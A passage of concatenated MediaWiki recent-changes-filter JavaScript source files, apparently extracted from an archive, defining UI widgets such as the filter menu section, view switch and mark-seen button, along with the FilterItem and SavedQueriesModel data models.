var FilterMenuSectionOptionWidget = function MwRcfiltersUiFilterMenuSectionOptionWidget( controller, model, config ) {
	var whatsThisMessages,
		$header = $( '<div>' )
			.addClass( 'mw-rcfilters-ui-filterMenuSectionOptionWidget-header' ),
		$popupContent = $( '<div>' )
			.addClass( 'mw-rcfilters-ui-filterMenuSectionOptionWidget-whatsThisButton-popup-content' );

	config = config || {};

	this.controller = controller;
	this.model = model;
	this.$overlay = config.$overlay || this.$element;

	// Parent
	FilterMenuSectionOptionWidget.parent.call( this, $.extend( {
		label: this.model.getTitle(),
		$label: $( '<div>' )
			.addClass( 'mw-rcfilters-ui-filterMenuSectionOptionWidget-header-title' )
	}, config ) );

	$header.append( this.$label );

	if ( this.model.hasWhatsThis() ) {
		whatsThisMessages = this.model.getWhatsThis();

		// Create popup
		if ( whatsThisMessages.header ) {
			$popupContent.append(
				( new OO.ui.LabelWidget( {
					// eslint-disable-next-line mediawiki/msg-doc
					label: mw.msg( whatsThisMessages.header ),
					classes: [ 'mw-rcfilters-ui-filterMenuSectionOptionWidget-whatsThisButton-popup-content-header' ]
				} ) ).$element
			);
		}
		if ( whatsThisMessages.body ) {
			$popupContent.append(
				( new OO.ui.LabelWidget( {
					// eslint-disable-next-line mediawiki/msg-doc
					label: mw.msg( whatsThisMessages.body ),
					classes: [ 'mw-rcfilters-ui-filterMenuSectionOptionWidget-whatsThisButton-popup-content-body' ]
				} ) ).$element
			);
		}
		if ( whatsThisMessages.linkText && whatsThisMessages.url ) {
			$popupContent.append(
				( new OO.ui.ButtonWidget( {
					framed: false,
					flags: [ 'progressive' ],
					href: whatsThisMessages.url,
					// eslint-disable-next-line mediawiki/msg-doc
					label: mw.msg( whatsThisMessages.linkText ),
					classes: [ 'mw-rcfilters-ui-filterMenuSectionOptionWidget-whatsThisButton-popup-content-link' ]
				} ) ).$element
			);
		}

		// Add button
		this.whatsThisButton = new OO.ui.PopupButtonWidget( {
			framed: false,
			label: mw.msg( 'rcfilters-filterlist-whatsthis' ),
			$overlay: this.$overlay,
			classes: [ 'mw-rcfilters-ui-filterMenuSectionOptionWidget-whatsThisButton' ],
			flags: [ 'progressive' ],
			popup: {
				padded: false,
				align: 'center',
				position: 'above',
				$content: $popupContent,
				classes: [ 'mw-rcfilters-ui-filterMenuSectionOptionWidget-whatsThisButton-popup' ]
			}
		} );

		$header
			.append( this.whatsThisButton.$element );
	}

	// Events
	this.model.connect( this, { update: 'updateUiBasedOnState' } );

	// Initialize
	// eslint-disable-next-line mediawiki/class-doc
	this.$element
		.addClass( 'mw-rcfilters-ui-filterMenuSectionOptionWidget' )
		.addClass( 'mw-rcfilters-ui-filterMenuSectionOptionWidget-name-' + this.model.getName() )
		.append( $header );
	this.updateUiBasedOnState();
};

/* Initialize */

OO.inheritClass( FilterMenuSectionOptionWidget, OO.ui.MenuSectionOptionWidget );

/* Methods */

/**
 * Respond to model update event
 */
FilterMenuSectionOptionWidget.prototype.updateUiBasedOnState = function () {
	this.$element.toggleClass(
		'mw-rcfilters-ui-filterMenuSectionOptionWidget-active',
		this.model.isActive()
	);
	this.toggle( this.model.isVisible() );
};

/**
 * Get the group name
 *
 * @return {string} Group name
 */
FilterMenuSectionOptionWidget.prototype.getName = function () {
	return this.model.getName();
};

module.exports = FilterMenuSectionOptionWidget;
mediawiki.rcfilters/ui/ViewSwitchWidget.js000066600000003714151335045660014737 0ustar00var ViewSwitchWidget;

/**
 * A widget for the footer for the default view, allowing to switch views
 *
 * @class mw.rcfilters.ui.ViewSwitchWidget
 * @extends OO.ui.Widget
 *
 * @constructor
 * @param {mw.rcfilters.Controller} controller Controller
 * @param {mw.rcfilters.dm.FiltersViewModel} model View model
 * @param {Object} [config] Configuration object
 */
ViewSwitchWidget = function MwRcfiltersUiViewSwitchWidget( controller, model, config ) {
	config = config || {};

	// Parent
	ViewSwitchWidget.parent.call( this, config );

	this.controller = controller;
	this.model = model;

	this.buttons = new OO.ui.ButtonGroupWidget( {
		items: [
			new OO.ui.ButtonWidget( {
				data: 'namespaces',
				icon: 'article',
				label: mw.msg( 'namespaces' )
			} ),
			new OO.ui.ButtonWidget( {
				data: 'tags',
				icon: 'tag',
				label: mw.msg( 'rcfilters-view-tags' )
			} )
		]
	} );

	this.buttons.aggregate( { click: 'buttonClick' } );

	// Events
	this.model.connect( this, { update: 'onModelUpdate' } );
	this.buttons.connect( this, { buttonClick: 'onButtonClick' } );

	this.$element
		.addClass( 'mw-rcfilters-ui-viewSwitchWidget' )
		.append(
			new OO.ui.LabelWidget( {
				label: mw.msg( 'rcfilters-advancedfilters' )
			} ).$element,
			$( '<div>' )
				.addClass( 'mw-rcfilters-ui-viewSwitchWidget-buttons' )
				.append( this.buttons.$element )
		);
};

/* Initialize */

OO.inheritClass( ViewSwitchWidget, OO.ui.Widget );

/**
 * Respond to model update event
 */
ViewSwitchWidget.prototype.onModelUpdate = function () {
	var currentView = this.model.getCurrentView();

	this.buttons.getItems().forEach( function ( buttonWidget ) {
		buttonWidget.setActive( buttonWidget.getData() === currentView );
	} );
};

/**
 * Respond to button switch click
 *
 * @param {OO.ui.ButtonWidget} buttonWidget Clicked button
 */
ViewSwitchWidget.prototype.onButtonClick = function ( buttonWidget ) {
	this.controller.switchView( buttonWidget.getData() );
};

module.exports = ViewSwitchWidget;
mediawiki.rcfilters/ui/ItemMenuOptionWidget.js000066600000012471151335045660015557 0ustar00var FilterItemHighlightButton = require( './FilterItemHighlightButton.js' ),
	CheckboxInputWidget = require( './CheckboxInputWidget.js' ),
	ItemMenuOptionWidget;

/**
 * A widget representing a base toggle item
 *
 * @class mw.rcfilters.ui.ItemMenuOptionWidget
 * @extends OO.ui.MenuOptionWidget
 *
 * @constructor
 * @param {mw.rcfilters.Controller} controller RCFilters controller
 * @param {mw.rcfilters.dm.FiltersViewModel} filtersViewModel
 * @param {mw.rcfilters.dm.ItemModel|null} invertModel
 * @param {mw.rcfilters.dm.ItemModel} itemModel Item model
 * @param {mw.rcfilters.ui.HighlightPopupWidget} highlightPopup Shared highlight color picker
 * @param {Object} config Configuration object
 */
ItemMenuOptionWidget = function MwRcfiltersUiItemMenuOptionWidget(
	controller, filtersViewModel, invertModel, itemModel, highlightPopup, config
) {
	var layout,
		$widgetRow,
		classes,
		$label = $( '<div>' )
			.addClass( 'mw-rcfilters-ui-itemMenuOptionWidget-label' );

	config = config || {};

	this.controller = controller;
	this.filtersViewModel = filtersViewModel;
	this.invertModel = invertModel;
	this.itemModel = itemModel;

	// Parent
	ItemMenuOptionWidget.parent.call( this, $.extend( {
		// Override the 'check' icon that OOUI defines
		icon: '',
		data: this.itemModel.getName(),
		label: this.itemModel.getLabel()
	}, config ) );

	this.checkboxWidget = new CheckboxInputWidget( {
		value: this.itemModel.getName(),
		selected: this.itemModel.isSelected()
	} );

	$label.append(
		$( '<div>' )
			.addClass( 'mw-rcfilters-ui-itemMenuOptionWidget-label-title' )
			.append( $( '<bdi>' ).append( this.$label ) )
	);
	if ( this.itemModel.getDescription() ) {
		$label.append(
			$( '<div>' )
				.addClass( 'mw-rcfilters-ui-itemMenuOptionWidget-label-desc' )
				.append( $( '<bdi>' ).text( this.itemModel.getDescription() ) )
		);
	}

	this.highlightButton = new FilterItemHighlightButton(
		this.controller,
		this.itemModel,
		highlightPopup,
		{
			$overlay: config.$overlay || this.$element,
			title: mw.msg( 'rcfilters-highlightmenu-help' )
		}
	);
	this.highlightButton.toggle( this.filtersViewModel.isHighlightEnabled() );

	this.excludeLabel = new OO.ui.LabelWidget( {
		label: mw.msg( 'rcfilters-filter-excluded' )
	} );
	this.excludeLabel.toggle(
		this.invertModel &&
		this.invertModel.isSelected() &&
		this.itemModel.isSelected()
	);

	layout = new OO.ui.FieldLayout( this.checkboxWidget, {
		label: $label,
		align: 'inline'
	} );

	// Events
	this.filtersViewModel.connect( this, { highlightChange: 'updateUiBasedOnState' } );
	if ( this.invertModel ) {
		this.invertModel.connect( this, { update: 'updateUiBasedOnState' } );
	}
	this.itemModel.connect( this, { update: 'updateUiBasedOnState' } );
	// HACK: Prevent defaults on 'click' for the label so it
	// doesn't steal the focus away from the input. This means
	// we can continue arrow-movement after we click the label
	// and is consistent with the checkbox *itself* also preventing
	// defaults on 'click' as well.
	layout.$label.on( 'click', false );

	$widgetRow = $( '<div>' )
		.addClass( 'mw-rcfilters-ui-table' )
		.append(
			$( '<div>' )
				.addClass( 'mw-rcfilters-ui-row' )
				.append(
					$( '<div>' )
						.addClass( 'mw-rcfilters-ui-cell mw-rcfilters-ui-itemMenuOptionWidget-itemCheckbox' )
						.append( layout.$element )
				)
		);

	if ( !OO.ui.isMobile() ) {
		$widgetRow.find( '.mw-rcfilters-ui-row' ).append(
			$( '<div>' )
				.addClass( 'mw-rcfilters-ui-cell mw-rcfilters-ui-itemMenuOptionWidget-excludeLabel' )
				.append( this.excludeLabel.$element ),
			$( '<div>' )
				.addClass( 'mw-rcfilters-ui-cell mw-rcfilters-ui-itemMenuOptionWidget-highlightButton' )
				.append( this.highlightButton.$element )
		);
	}

	classes = this.itemModel.getIdentifiers().map( function ( ident ) {
		return 'mw-rcfilters-ui-itemMenuOptionWidget-identifier-' + ident;
	} ).concat(
		'mw-rcfilters-ui-itemMenuOptionWidget',
		'mw-rcfilters-ui-itemMenuOptionWidget-view-' + this.itemModel.getGroupModel().getView()
	);

	// The following classes are used here:
	// * mw-rcfilters-ui-itemMenuOptionWidget-identifier-subject
	// * mw-rcfilters-ui-itemMenuOptionWidget-identifier-talk
	// * mw-rcfilters-ui-itemMenuOptionWidget
	// * mw-rcfilters-ui-itemMenuOptionWidget-view-default
	// * mw-rcfilters-ui-itemMenuOptionWidget-view-namespaces
	// * mw-rcfilters-ui-itemMenuOptionWidget-view-tags
	this.$element
		.addClass( classes )
		.append( $widgetRow );

	this.updateUiBasedOnState();
};

/* Initialization */

OO.inheritClass( ItemMenuOptionWidget, OO.ui.MenuOptionWidget );

/* Static properties */

// We do our own scrolling to top
ItemMenuOptionWidget.static.scrollIntoViewOnSelect = false;

/* Methods */

/**
 * Respond to item model update event
 */
ItemMenuOptionWidget.prototype.updateUiBasedOnState = function () {
	this.checkboxWidget.setSelected( this.itemModel.isSelected() );

	this.highlightButton.toggle( this.filtersViewModel.isHighlightEnabled() );
	this.excludeLabel.toggle(
		this.invertModel &&
		this.invertModel.isSelected() &&
		this.itemModel.isSelected()
	);
	this.toggle( this.itemModel.isVisible() );
};

/**
 * Get the name of this filter
 *
 * @return {string} Filter name
 */
ItemMenuOptionWidget.prototype.getName = function () {
	return this.itemModel.getName();
};

ItemMenuOptionWidget.prototype.getModel = function () {
	return this.itemModel;
};

module.exports = ItemMenuOptionWidget;
mediawiki.rcfilters/ui/MarkSeenButtonWidget.js000066600000002663151335045660015546 0ustar00/**
 * Button for marking all changes as seen on the Watchlist
 *
 * @class mw.rcfilters.ui.MarkSeenButtonWidget
 * @extends OO.ui.ButtonWidget
 *
 * @constructor
 * @param {mw.rcfilters.Controller} controller
 * @param {mw.rcfilters.dm.ChangesListViewModel} model Changes list view model
 * @param {Object} [config] Configuration object
 */
var MarkSeenButtonWidget = function MwRcfiltersUiMarkSeenButtonWidget( controller, model, config ) {
	config = config || {};

	// Parent
	MarkSeenButtonWidget.parent.call( this, $.extend( {
		label: mw.msg( 'rcfilters-watchlist-markseen-button' ),
		icon: 'checkAll'
	}, config ) );

	this.controller = controller;
	this.model = model;

	// Events
	this.connect( this, { click: 'onClick' } );
	this.model.connect( this, { update: 'onModelUpdate' } );

	this.$element.addClass( 'mw-rcfilters-ui-markSeenButtonWidget' );

	this.onModelUpdate();
};

/* Initialization */

OO.inheritClass( MarkSeenButtonWidget, OO.ui.ButtonWidget );

/* Methods */

/**
 * Respond to the button being clicked
 */
MarkSeenButtonWidget.prototype.onClick = function () {
	this.controller.markAllChangesAsSeen();
	// assume there's no more unseen changes until the next model update
	this.setDisabled( true );
};

/**
 * Respond to the model being updated with new changes
 */
MarkSeenButtonWidget.prototype.onModelUpdate = function () {
	this.setDisabled( !this.model.hasUnseenWatchedChanges() );
};

module.exports = MarkSeenButtonWidget;
mediawiki.rcfilters/dm/FilterItem.js000066600000024535151335045660013532 0ustar00var ItemModel = require( './ItemModel.js' ),
	FilterItem;

/**
 * Filter item model
 *
 * @class mw.rcfilters.dm.FilterItem
 * @extends mw.rcfilters.dm.ItemModel
 *
 * @constructor
 * @param {string} param Filter param name
 * @param {mw.rcfilters.dm.FilterGroup} groupModel Filter group model
 * @param {Object} config Configuration object
 * @cfg {string[]} [excludes=[]] A list of filter names this filter, if
 *  selected, makes inactive.
 * @cfg {string[]} [subset] Defining the names of filters that are a subset of this filter
 * @cfg {Object} [conflicts] Defines the conflicts for this filter
 * @cfg {boolean} [visible=true] The visibility of the group
 */
FilterItem = function MwRcfiltersDmFilterItem( param, groupModel, config ) {
	config = config || {};

	this.groupModel = groupModel;

	// Parent
	FilterItem.parent.call( this, param, $.extend( {
		namePrefix: this.groupModel.getNamePrefix()
	}, config ) );
	// Mixin constructor
	OO.EventEmitter.call( this );

	// Interaction definitions
	this.subset = config.subset || [];
	this.conflicts = config.conflicts || {};
	this.superset = [];
	this.visible = config.visible === undefined ? true : !!config.visible;

	// Interaction states
	this.included = false;
	this.conflicted = false;
	this.fullyCovered = false;
};

/* Initialization */

OO.inheritClass( FilterItem, ItemModel );

/* Methods */

/**
 * Return the representation of the state of this item.
 *
 * @return {Object} State of the object
 */
FilterItem.prototype.getState = function () {
	return {
		selected: this.isSelected(),
		included: this.isIncluded(),
		conflicted: this.isConflicted(),
		fullyCovered: this.isFullyCovered()
	};
};

/**
 * Get the message for the display area for the currently active conflict
 *
 * @return {string} Conflict result message key
 */
FilterItem.prototype.getCurrentConflictResultMessage = function () {
	var details;

	// First look in filter's own conflicts
	details = this.getConflictDetails( this.getOwnConflicts(), 'globalDescription' );
	if ( !details.message ) {
		// Fall back onto conflicts in the group
		details = this.getConflictDetails( this.getGroupModel().getConflicts(), 'globalDescription' );
	}

	return details.message;
};

/**
 * Get the details of the active conflict on this filter
 *
 * @private
 * @param {Object} conflicts Conflicts to examine
 * @param {string} [key='contextDescription'] Message key
 * @return {Object} Object with conflict message and conflict items
 * @return {string} return.message Conflict message
 * @return {string[]} return.names Conflicting item labels
 */
FilterItem.prototype.getConflictDetails = function ( conflicts, key ) {
	var group,
		conflictMessage = '',
		itemLabels = [];

	key = key || 'contextDescription';

	// eslint-disable-next-line no-jquery/no-each-util
	$.each( conflicts, function ( filterName, conflict ) {
		if ( !conflict.item.isSelected() ) {
			return;
		}

		if ( !conflictMessage ) {
			conflictMessage = conflict[ key ];
			group = conflict.group;
		}

		if ( group === conflict.group ) {
			itemLabels.push( mw.msg( 'quotation-marks', conflict.item.getLabel() ) );
		}
	} );

	return {
		message: conflictMessage,
		names: itemLabels
	};

};

/**
 * @inheritdoc
 */
FilterItem.prototype.getStateMessage = function () {
	var messageKey, details, superset,
		affectingItems = [];

	if ( this.isSelected() ) {
		if ( this.isConflicted() ) {
			// First look in filter's own conflicts
			details = this.getConflictDetails( this.getOwnConflicts() );
			if ( !details.message ) {
				// Fall back onto conflicts in the group
				details = this.getConflictDetails( this.getGroupModel().getConflicts() );
			}

			messageKey = details.message;
			affectingItems = details.names;
		} else if ( this.isIncluded() && !this.isHighlighted() ) {
			// We only show the 'no effect' full-coverage message
			// if the item is also not highlighted. See T161273
			superset = this.getSuperset();
			// For this message we need to collect the affecting superset
			affectingItems = this.getGroupModel().findSelectedItems( this )
				.filter( function ( item ) {
					return superset.indexOf( item.getName() ) !== -1;
				} )
				.map( function ( item ) {
					return mw.msg( 'quotation-marks', item.getLabel() );
				} );

			messageKey = 'rcfilters-state-message-subset';
		} else if ( this.isFullyCovered() && !this.isHighlighted() ) {
			affectingItems = this.getGroupModel().findSelectedItems( this )
				.map( function ( item ) {
					return mw.msg( 'quotation-marks', item.getLabel() );
				} );

			messageKey = 'rcfilters-state-message-fullcoverage';
		}
	}

	if ( messageKey ) {
		// Build message
		// The following messages are used here:
		// * rcfilters-state-message-subset
		// * rcfilters-state-message-fullcoverage
		// * conflict.message values...
		return mw.msg(
			messageKey,
			mw.language.listToText( affectingItems ),
			affectingItems.length
		);
	}

	// Display description
	return this.getDescription();
};

/**
 * Get the model of the group this filter belongs to
 *
 * @return {mw.rcfilters.dm.FilterGroup} Filter group model
 */
FilterItem.prototype.getGroupModel = function () {
	return this.groupModel;
};

/**
 * Get the group name this filter belongs to
 *
 * @return {string} Filter group name
 */
FilterItem.prototype.getGroupName = function () {
	return this.groupModel.getName();
};

/**
 * Get filter subset
 * This is a list of filter names that are defined to be included
 * when this filter is selected.
 *
 * @return {string[]} Filter subset
 */
FilterItem.prototype.getSubset = function () {
	return this.subset;
};

/**
 * Get filter superset
 * This is a generated list of filters that define this filter
 * to be included when either of them is selected.
 *
 * @return {string[]} Filter superset
 */
FilterItem.prototype.getSuperset = function () {
	return this.superset;
};

/**
 * Check whether the filter is currently in a conflict state
 *
 * @return {boolean} Filter is in conflict state
 */
FilterItem.prototype.isConflicted = function () {
	return this.conflicted;
};

/**
 * Check whether the filter is currently in an already included subset
 *
 * @return {boolean} Filter is in an already-included subset
 */
FilterItem.prototype.isIncluded = function () {
	return this.included;
};

/**
 * Check whether the filter is currently fully covered
 *
 * @return {boolean} Filter is in fully-covered state
 */
FilterItem.prototype.isFullyCovered = function () {
	return this.fullyCovered;
};

/**
 * Get all conflicts associated with this filter or its group
 *
 * Conflict object is set up by filter name keys and conflict
 * definition. For example:
 *
 *  {
 *      filterName: {
 *          filter: filterName,
 *          group: group1,
 *          label: itemLabel,
 *          item: itemModel
 *      }
 *      filterName2: {
 *          filter: filterName2,
 *          group: group2
 *          label: itemLabel2,
 *          item: itemModel2
 *      }
 *  }
 *
 * @return {Object} Filter conflicts
 */
FilterItem.prototype.getConflicts = function () {
	return $.extend( {}, this.conflicts, this.getGroupModel().getConflicts() );
};

/**
 * Get the conflicts associated with this filter
 *
 * @return {Object} Filter conflicts
 */
FilterItem.prototype.getOwnConflicts = function () {
	return this.conflicts;
};

/**
 * Set conflicts for this filter. See #getConflicts for the expected
 * structure of the definition.
 *
 * @param {Object} conflicts Conflicts for this filter
 */
FilterItem.prototype.setConflicts = function ( conflicts ) {
	this.conflicts = conflicts || {};
};

/**
 * Set filter superset
 *
 * @param {string[]} superset Filter superset
 */
FilterItem.prototype.setSuperset = function ( superset ) {
	this.superset = superset || [];
};

/**
 * Set filter subset
 *
 * @param {string[]} subset Filter subset
 */
FilterItem.prototype.setSubset = function ( subset ) {
	this.subset = subset || [];
};

/**
 * Check whether a filter exists in the subset list for this filter
 *
 * @param {string} filterName Filter name
 * @return {boolean} Filter name is in the subset list
 */
FilterItem.prototype.existsInSubset = function ( filterName ) {
	return this.subset.indexOf( filterName ) > -1;
};

/**
 * Check whether this item has a potential conflict with the given item
 *
 * This checks whether the given item is in the list of conflicts of
 * the current item, but makes no judgment about whether the conflict
 * is currently at play (either one of the items may not be selected)
 *
 * @param {mw.rcfilters.dm.FilterItem} filterItem Filter item
 * @return {boolean} This item has a conflict with the given item
 */
FilterItem.prototype.existsInConflicts = function ( filterItem ) {
	return Object.prototype.hasOwnProperty.call( this.getConflicts(), filterItem.getName() );
};

/**
 * Set the state of this filter as being conflicted
 * (This means any filters in its conflicts are selected)
 *
 * @param {boolean} [conflicted] Filter is in conflict state
 * @fires update
 */
FilterItem.prototype.toggleConflicted = function ( conflicted ) {
	conflicted = conflicted === undefined ? !this.conflicted : conflicted;

	if ( this.conflicted !== conflicted ) {
		this.conflicted = conflicted;
		this.emit( 'update' );
	}
};

/**
 * Set the state of this filter as being already included
 * (This means any filters in its superset are selected)
 *
 * @param {boolean} [included] Filter is included as part of a subset
 * @fires update
 */
FilterItem.prototype.toggleIncluded = function ( included ) {
	included = included === undefined ? !this.included : included;

	if ( this.included !== included ) {
		this.included = included;
		this.emit( 'update' );
	}
};

/**
 * Toggle the fully covered state of the item
 *
 * @param {boolean} [isFullyCovered] Filter is fully covered
 * @fires update
 */
FilterItem.prototype.toggleFullyCovered = function ( isFullyCovered ) {
	isFullyCovered = isFullyCovered === undefined ? !this.fullycovered : isFullyCovered;

	if ( this.fullyCovered !== isFullyCovered ) {
		this.fullyCovered = isFullyCovered;
		this.emit( 'update' );
	}
};

/**
 * Toggle the visibility of this item
 *
 * @param {boolean} [isVisible] Item is visible
 */
FilterItem.prototype.toggleVisible = function ( isVisible ) {
	isVisible = isVisible === undefined ? !this.visible : !!isVisible;

	if ( this.visible !== isVisible ) {
		this.visible = isVisible;
		this.emit( 'update' );
	}
};

/**
 * Check whether the item is visible
 *
 * @return {boolean} Item is visible
 */
FilterItem.prototype.isVisible = function () {
	return this.visible;
};

module.exports = FilterItem;
mediawiki.rcfilters/dm/SavedQueriesModel.js000066600000026576151335045660015056 0ustar00var SavedQueryItemModel = require( './SavedQueryItemModel.js' ),
	SavedQueriesModel;

/**
 * View model for saved queries
 *
 * @class mw.rcfilters.dm.SavedQueriesModel
 * @mixins OO.EventEmitter
 * @mixins OO.EmitterList
 *
 * @constructor
 * @param {mw.rcfilters.dm.FiltersViewModel} filtersModel Filters model
 * @param {Object} [config] Configuration options
 * @cfg {string} [default] Default query ID
 */
SavedQueriesModel = function MwRcfiltersDmSavedQueriesModel( filtersModel, config ) {
	config = config || {};

	// Mixin constructor
	OO.EventEmitter.call( this );
	OO.EmitterList.call( this );

	this.default = config.default;
	this.filtersModel = filtersModel;
	this.converted = false;

	// Events
	this.aggregate( { update: 'itemUpdate' } );
};

/* Initialization */

OO.initClass( SavedQueriesModel );
OO.mixinClass( SavedQueriesModel, OO.EventEmitter );
OO.mixinClass( SavedQueriesModel, OO.EmitterList );

/* Events */

/**
 * @event initialize
 *
 * Model is initialized
 */

/**
 * @event itemUpdate
 * @param {mw.rcfilters.dm.SavedQueryItemModel} Changed item
 *
 * An item has changed
 */

/**
 * @event default
 * @param {string} New default ID
 *
 * The default has changed
 */

/* Methods */

/**
 * Initialize the saved queries model by reading it from the user's settings.
 * The structure of the saved queries is:
 * {
 *    version: (string) Version number; if version 2, the query represents
 *             parameters. Otherwise, the older version represented filters
 *             and needs to be readjusted,
 *    default: (string) Query ID
 *    queries:{
 *       query_id_1: {
 *          data:{
 *             filters: (Object) Minimal definition of the filters
 *             highlights: (Object) Definition of the highlights
 *          },
 *          label: (optional) Name of this query
 *       }
 *    }
 * }
 *
 * @param {Object} [savedQueries] An object with the saved queries with
 *  the above structure.
 * @fires initialize
 */
SavedQueriesModel.prototype.initialize = function ( savedQueries ) {
	var model = this;

	savedQueries = savedQueries || {};

	this.clearItems();
	this.default = null;
	this.converted = false;

	if ( savedQueries.version !== '2' ) {
		// Old version dealt with filter names. We need to migrate to the new structure
		// The new structure:
		// {
		//   version: (string) '2',
		//   default: (string) Query ID,
		//   queries: {
		//     query_id: {
		//       label: (string) Name of the query
		//       data: {
		//         params: (object) Representing all the parameter states
		//         highlights: (object) Representing all the filter highlight states
		//     }
		//   }
		// }
		// eslint-disable-next-line no-jquery/no-each-util
		$.each( savedQueries.queries || {}, function ( id, obj ) {
			if ( obj.data && obj.data.filters ) {
				obj.data = model.convertToParameters( obj.data );
			}
		} );

		this.converted = true;
		savedQueries.version = '2';
	}

	// Initialize the query items
	// eslint-disable-next-line no-jquery/no-each-util
	$.each( savedQueries.queries || {}, function ( id, obj ) {
		var normalizedData = obj.data,
			isDefault = String( savedQueries.default ) === String( id );

		if ( normalizedData && normalizedData.params ) {
			// Backwards-compat fix: Remove sticky parameters from
			// the given data, if they exist
			normalizedData.params = model.filtersModel.removeStickyParams( normalizedData.params );

			// Correct the invert state for effective selection
			if ( normalizedData.params.invert && !normalizedData.params.namespace ) {
				delete normalizedData.params.invert;
			}

			model.cleanupHighlights( normalizedData );

			id = String( id );

			// Skip the addNewQuery method because we don't want to unnecessarily manipulate
			// the given saved queries unless we literally intend to (like in backwards compat fixes)
			// And the addNewQuery method also uses a minimization routine that checks for the
			// validity of items and minimizes the query. This isn't necessary for queries loaded
			// from the backend, and has the risk of removing values if they're temporarily
			// invalid (example: if we temporarily removed a cssClass from a filter in the backend)
			model.addItems( [
				new SavedQueryItemModel(
					id,
					obj.label,
					normalizedData,
					{ default: isDefault }
				)
			] );

			if ( isDefault ) {
				model.default = id;
			}
		}
	} );

	this.emit( 'initialize' );
};

/**
 * Clean up highlight parameters.
 * 'highlight' used to be stored, it's not inferred based on the presence of absence of
 * filter colors.
 *
 * @param {Object} data Saved query data
 */
SavedQueriesModel.prototype.cleanupHighlights = function ( data ) {
	if (
		data.params.highlight === '0' &&
		data.highlights && Object.keys( data.highlights ).length
	) {
		data.highlights = {};
	}
	delete data.params.highlight;
};

/**
 * Convert from representation of filters to representation of parameters
 *
 * @param {Object} data Query data
 * @return {Object} New converted query data
 */
SavedQueriesModel.prototype.convertToParameters = function ( data ) {
	var newData = {},
		defaultFilters = this.filtersModel.getFiltersFromParameters( this.filtersModel.getDefaultParams() ),
		fullFilterRepresentation = $.extend( true, {}, defaultFilters, data.filters ),
		highlightEnabled = data.highlights.highlight;

	delete data.highlights.highlight;

	// Filters
	newData.params = this.filtersModel.getMinimizedParamRepresentation(
		this.filtersModel.getParametersFromFilters( fullFilterRepresentation )
	);

	// Highlights: appending _color to keys
	newData.highlights = {};
	// eslint-disable-next-line no-jquery/no-each-util
	$.each( data.highlights, function ( highlightedFilterName, value ) {
		if ( value ) {
			newData.highlights[ highlightedFilterName + '_color' ] = data.highlights[ highlightedFilterName ];
		}
	} );

	// Add highlight
	newData.params.highlight = String( Number( highlightEnabled || 0 ) );

	return newData;
};

/**
 * Add a query item
 *
 * @param {string} label Label for the new query
 * @param {Object} fulldata Full data representation for the new query, combining highlights and filters
 * @param {boolean} isDefault Item is default
 * @param {string} [id] Query ID, if exists. If this isn't given, a random
 *  new ID will be created.
 * @return {string} ID of the newly added query
 */
SavedQueriesModel.prototype.addNewQuery = function ( label, fulldata, isDefault, id ) {
	var normalizedData = { params: {}, highlights: {} },
		highlightParamNames = Object.keys( this.filtersModel.getEmptyHighlightParameters() ),
		randomID = String( id || Date.now() ),
		data = this.filtersModel.getMinimizedParamRepresentation( fulldata );

	// Split highlight/params
	// eslint-disable-next-line no-jquery/no-each-util
	$.each( data, function ( param, value ) {
		if ( param !== 'highlight' && highlightParamNames.indexOf( param ) > -1 ) {
			normalizedData.highlights[ param ] = value;
		} else {
			normalizedData.params[ param ] = value;
		}
	} );

	// Correct the invert state for effective selection
	if ( normalizedData.params.invert && !this.filtersModel.areNamespacesEffectivelyInverted() ) {
		delete normalizedData.params.invert;
	}
	// Correct the inverttags state for effective selection
	if ( normalizedData.params.inverttags && !this.filtersModel.areTagsEffectivelyInverted() ) {
		delete normalizedData.params.inverttags;
	}

	// Add item
	this.addItems( [
		new SavedQueryItemModel(
			randomID,
			label,
			normalizedData,
			{ default: isDefault }
		)
	] );

	if ( isDefault ) {
		this.setDefault( randomID );
	}

	return randomID;
};

/**
 * Remove query from model
 *
 * @param {string} queryID Query ID
 */
SavedQueriesModel.prototype.removeQuery = function ( queryID ) {
	var query = this.getItemByID( queryID );

	if ( query ) {
		// Check if this item was the default
		if ( String( this.getDefault() ) === String( queryID ) ) {
			// Nulify the default
			this.setDefault( null );
		}

		this.removeItems( [ query ] );
	}
};

/**
 * Get an item that matches the requested query
 *
 * @param {Object} fullQueryComparison Object representing all filters and highlights to compare
 * @return {mw.rcfilters.dm.SavedQueryItemModel} Matching item model
 */
SavedQueriesModel.prototype.findMatchingQuery = function ( fullQueryComparison ) {
	// Minimize before comparison
	fullQueryComparison = this.filtersModel.getMinimizedParamRepresentation( fullQueryComparison );

	// Correct the invert state for effective selection
	if ( fullQueryComparison.invert && !this.filtersModel.areNamespacesEffectivelyInverted() ) {
		delete fullQueryComparison.invert;
	}

	return this.getItems().filter( function ( item ) {
		return OO.compare(
			item.getCombinedData(),
			fullQueryComparison
		);
	} )[ 0 ];
};

/**
 * Get query by its identifier
 *
 * @param {string} queryID Query identifier
 * @return {mw.rcfilters.dm.SavedQueryItemModel|undefined} Item matching
 *  the search. Undefined if not found.
 */
SavedQueriesModel.prototype.getItemByID = function ( queryID ) {
	return this.getItems().filter( function ( item ) {
		return item.getID() === queryID;
	} )[ 0 ];
};

/**
 * Get the full data representation of the default query, if it exists
 *
 * @return {Object|null} Representation of the default params if exists.
 *  Null if default doesn't exist or if the user is not logged in.
 */
SavedQueriesModel.prototype.getDefaultParams = function () {
	return ( !mw.user.isAnon() && this.getItemParams( this.getDefault() ) ) || {};
};

/**
 * Get a full parameter representation of an item data
 *
 * @param  {Object} queryID Query ID
 * @return {Object} Parameter representation
 */
SavedQueriesModel.prototype.getItemParams = function ( queryID ) {
	var item = this.getItemByID( queryID ),
		data = item ? item.getData() : {};

	return !$.isEmptyObject( data ) ? this.buildParamsFromData( data ) : {};
};

/**
 * Build a full parameter representation given item data and model sticky values state
 *
 * @param  {Object} data Item data
 * @return {Object} Full param representation
 */
SavedQueriesModel.prototype.buildParamsFromData = function ( data ) {
	data = data || {};
	// Return parameter representation
	return this.filtersModel.getMinimizedParamRepresentation( $.extend( true, {},
		data.params,
		data.highlights
	) );
};

/**
 * Get the object representing the state of the entire model and items
 *
 * @return {Object} Object representing the state of the model and items
 */
SavedQueriesModel.prototype.getState = function () {
	var obj = { queries: {}, version: '2' };

	// Translate the items to the saved object
	this.getItems().forEach( function ( item ) {
		obj.queries[ item.getID() ] = item.getState();
	} );

	if ( this.getDefault() ) {
		obj.default = this.getDefault();
	}

	return obj;
};

/**
 * Set a default query. Null to unset default.
 *
 * @param {string} itemID Query identifier
 * @fires default
 */
SavedQueriesModel.prototype.setDefault = function ( itemID ) {
